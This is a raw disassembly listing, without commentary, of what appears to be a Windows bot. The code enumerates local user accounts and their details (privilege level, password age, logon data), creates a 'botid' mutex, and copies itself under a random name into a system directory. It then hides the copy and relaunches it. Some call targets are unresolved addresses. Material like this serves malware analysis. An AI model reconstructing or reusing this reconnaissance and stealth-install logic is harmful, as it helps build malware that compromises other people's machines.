loc_40DDE6:				; CODE XREF: sub_40DCE6+A2j
		push	[ebp+var_4]
		call	dword_43F6F8


loc_40DDEF:				; CODE XREF: sub_40DCE6+9Aj
		cmp	ebx, 0EAh
		jz	loc_40DD1F
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40DCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE07	proc near		; CODE XREF: sub_40EE72:loc_411047p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40DEAC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40DE49
		dec	eax
		jz	short loc_40DE3E
		dec	eax
		jnz	short loc_40DE64
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40DF4E
		add	esp, 14h
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE3E:				; CODE XREF: sub_40DE07+1Dj
		push	ebx
		push	edi
		call	sub_40DF2D
		pop	ecx
		pop	ecx
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE49:				; CODE XREF: sub_40DE07+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40DE5D
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40DED3
		add	esp, 0Ch
		jmp	short loc_40DE60
; ---------------------------------------------------------------------------


loc_40DE5D:				; CODE XREF: sub_40DE07+45j
		push	57h
		pop	eax


loc_40DE60:				; CODE XREF: sub_40DE07+35j
					; sub_40DE07+40j ...
		cmp	eax, edi
		jnz	short loc_40DE84


loc_40DE64:				; CODE XREF: sub_40DE07+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A4[eax*4]
		push	offset dword_42EFD8
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DE84:				; CODE XREF: sub_40DE07+5Bj
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_443F38
		push	off_42E7A0[eax*4]
		push	offset dword_42EF9C
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DECC
; ---------------------------------------------------------------------------


loc_40DEAC:				; CODE XREF: sub_40DE07+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_443F38
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EF64
		push	esi
		call	sub_4172B0
		add	esp, 0Ch


loc_40DECC:				; CODE XREF: sub_40DE07+7Bj
					; sub_40DE07+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DE07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED3	proc near		; CODE XREF: sub_40DE07+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40DC82
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43F54C
		pop	edi
		leave
		retn
sub_40DED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DF2D	proc near		; CODE XREF: sub_40DE07+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43F53C
		pop	esi
		retn
sub_40DF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF4E	proc near		; CODE XREF: sub_40DE07+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43F6C0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40E2F6
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40E331
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40E06D
		dec	eax
		jz	short loc_40E066
		dec	eax
		jz	short loc_40E05F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E05F:				; CODE XREF: sub_40DF4E+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E066:				; CODE XREF: sub_40DF4E+105j
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40E072
; ---------------------------------------------------------------------------


loc_40E06D:				; CODE XREF: sub_40DF4E+102j
		mov	eax, offset aGuest ; "Guest"


loc_40E072:				; CODE XREF: sub_40DF4E+10Fj
					; sub_40DF4E+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4172B0
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40D679
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40E322
; ---------------------------------------------------------------------------


loc_40E2F6:				; CODE XREF: sub_40DF4E+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42F008
		push	eax
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40D679
		add	esp, 20h


loc_40E322:				; CODE XREF: sub_40DF4E+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_40E331
		push	[ebp+var_4]
		call	dword_43F6F8


loc_40E331:				; CODE XREF: sub_40DF4E+40j
					; sub_40DF4E+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40DF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E337	proc near		; CODE XREF: sub_40EE72+21F2p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40DC82
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h


loc_40E376:				; CODE XREF: sub_40E337+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43F5D0
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40E3D7
		cmp	eax, 0EAh
		jz	short loc_40E3D7
		push	eax
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42F218
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E3D7:				; CODE XREF: sub_40E337+62j
					; sub_40E337+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40E465
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40E452


loc_40E3E9:				; CODE XREF: sub_40E337+EDj
		cmp	edi, esi
		jz	short loc_40E428
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40E3E9
		jmp	short loc_40E452
; ---------------------------------------------------------------------------


loc_40E428:				; CODE XREF: sub_40E337+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42F1D4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 1Ch


loc_40E452:				; CODE XREF: sub_40E337+9Ej
					; sub_40E337+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40E465
		push	edi
		call	dword_43F6F8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40E465:				; CODE XREF: sub_40E337+A5j
					; sub_40E337+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E376
		cmp	edi, esi
		jz	short loc_40E47D
		push	edi
		call	dword_43F6F8


loc_40E47D:				; CODE XREF: sub_40E337+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40E337	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E4B7	proc near		; CODE XREF: sub_40DAF0+41p
					; sub_40DCE6+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40E569
		jz	loc_40E562
		cmp	eax, 7Bh
		ja	short loc_40E52E
		jz	short loc_40E524
		cmp	eax, 5
		jz	short loc_40E51A
		cmp	eax, 8
		jz	short loc_40E510
		cmp	eax, 32h
		jz	short loc_40E506
		cmp	eax, 35h
		jz	short loc_40E4FC
		cmp	eax, 57h
		jnz	loc_40E5B8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E4FC:				; CODE XREF: sub_40E4B7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E506:				; CODE XREF: sub_40E4B7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E510:				; CODE XREF: sub_40E4B7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E51A:				; CODE XREF: sub_40E4B7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E524:				; CODE XREF: sub_40E4B7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E52E:				; CODE XREF: sub_40E4B7+1Aj
		sub	eax, 7Ch
		jz	short loc_40E55B
		sub	eax, 7C8h
		jz	short loc_40E554
		dec	eax
		jz	short loc_40E54A
		dec	eax
		jnz	short loc_40E5B8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40E4B7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E554:				; CODE XREF: sub_40E4B7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E55B:				; CODE XREF: sub_40E4B7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E562:				; CODE XREF: sub_40E4B7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E569:				; CODE XREF: sub_40E4B7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40E5A2
		jz	short loc_40E59B
		sub	eax, 8ADh
		jz	short loc_40E5CD
		dec	eax
		dec	eax
		jz	short loc_40E594
		dec	eax
		jz	short loc_40E58D
		dec	eax
		dec	eax
		jnz	short loc_40E5B8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E58D:				; CODE XREF: sub_40E4B7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E594:				; CODE XREF: sub_40E4B7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E59B:				; CODE XREF: sub_40E4B7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5A2:				; CODE XREF: sub_40E4B7+B9j
		sub	eax, 8CAh
		jz	short loc_40E5D4
		sub	eax, 17h
		jz	short loc_40E5CD
		sub	eax, 25h
		jz	short loc_40E5C6
		sub	eax, 29h
		jz	short loc_40E5BF


loc_40E5B8:				; CODE XREF: sub_40E4B7+35j
					; sub_40E4B7+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5BF:				; CODE XREF: sub_40E4B7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5C6:				; CODE XREF: sub_40E4B7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5CD:				; CODE XREF: sub_40E4B7+C2j
					; sub_40E4B7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40E5D9
; ---------------------------------------------------------------------------


loc_40E5D4:				; CODE XREF: sub_40E4B7+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40E5D9:				; CODE XREF: sub_40E4B7+40j
					; sub_40E4B7+4Aj ...
		push	offset dword_443CD8
		call	sub_4172B0
		pop	ecx
		mov	eax, offset dword_443CD8
		pop	ecx
		retn
sub_40E4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5EB	proc near		; CODE XREF: sub_40EE72+2231p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4199B9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4199B9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41999C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_43F678
		test	eax, eax
		jnz	short loc_40E67B
		mov	esi, offset dword_443AD4
		push	offset dword_42F568
		push	esi
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40E6A4
; ---------------------------------------------------------------------------


loc_40E67B:				; CODE XREF: sub_40E5EB+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_40E4B7
		pop	ecx
		mov	esi, offset dword_443AD4
		push	eax
		push	offset dword_42F530
		push	esi
		call	sub_4172B0
		add	esp, 14h


loc_40E6A4:				; CODE XREF: sub_40E5EB+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40E5EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40D3A5
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_424058
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_489C50, eax
		call	esi
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_40981F
		push	2
		call	dword_43F714
		push	7530h
		push	offset aBotid	; "botid"
		push	ebx
		push	ebx
		call	near ptr 27B03C7h
		nop
		push	eax
		nop
		call	near ptr 2630272h
		cmp	eax, 102h
		jnz	short loc_40E726
		push	1
		nop
		call	near ptr 77E75CB5h


loc_40E726:				; CODE XREF: ___:0040E71Cj
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_43F5E0
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40EB89
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_40EB83
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_40EB83
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		call	near ptr 25F048Fh
		nop
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2700B59h
		push	eax
		call	near ptr 2640000h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_4192B8
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_417880
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_40E98C
		cmp	dword_42F5BC, ebx
		mov	esi, offset byte_42F674
		jz	short loc_40E824
		push	esi
		xor	edi, edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40E824


loc_40E801:				; CODE XREF: ___:0040E822j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42F674[edi], dl
		inc	edi
		call	sub_417AB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40E801


loc_40E824:				; CODE XREF: ___:0040E7F1j
					; ___:0040E7FFj
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 267029Bh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E864
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2751040h


loc_40E864:				; CODE XREF: ___:0040E850j
		mov	esi, dword_424160
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_40E87B:				; CODE XREF: ___:0040E8B2j
		call	esi
		test	eax, eax
		jnz	short loc_40E8B4
		call	near ptr 2630313h
		nop
		cmp	edi, ebx
		jnz	short loc_40E8B4
		cmp	eax, 20h
		jz	short loc_40E895
		cmp	eax, 5
		jnz	short loc_40E8B4


loc_40E895:				; CODE XREF: ___:0040E88Ej
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 25F0439h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_40E87B
; ---------------------------------------------------------------------------


loc_40E8B4:				; CODE XREF: ___:0040E87Fj
					; ___:0040E889j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_40AB7C
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2751040h
		nop
		push	10h
		lea	eax, [ebp-1Ch]
		push	ebx
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp-64h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp-64h], esi
		mov	dword ptr [ebp-58h], offset byte_43C80C
		mov	[ebp-34h], bx
		push	1
		pop	esi
		mov	[ebp-38h], esi
		call	near ptr 27A0DD8h
		nop
		push	eax
		push	esi
		push	100000h
		call	near ptr 2700537h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_435140
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 274056Fh
		test	eax, eax
		jz	short loc_40E98C
		push	0C8h
		nop
		call	near ptr 25F0439h
		push	dword ptr [ebp-1Ch]
		mov	esi, dword_424078
		call	esi
		push	dword ptr [ebp-18h]
		call	esi
		call	dword_43F5C8
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_40E98C:				; CODE XREF: ___:0040E7E0j
					; ___:0040E962j
		cmp	dword_48A030, 2
		jle	short loc_40E9D8
		mov	eax, dword_48A034
		push	dword ptr [eax+4]
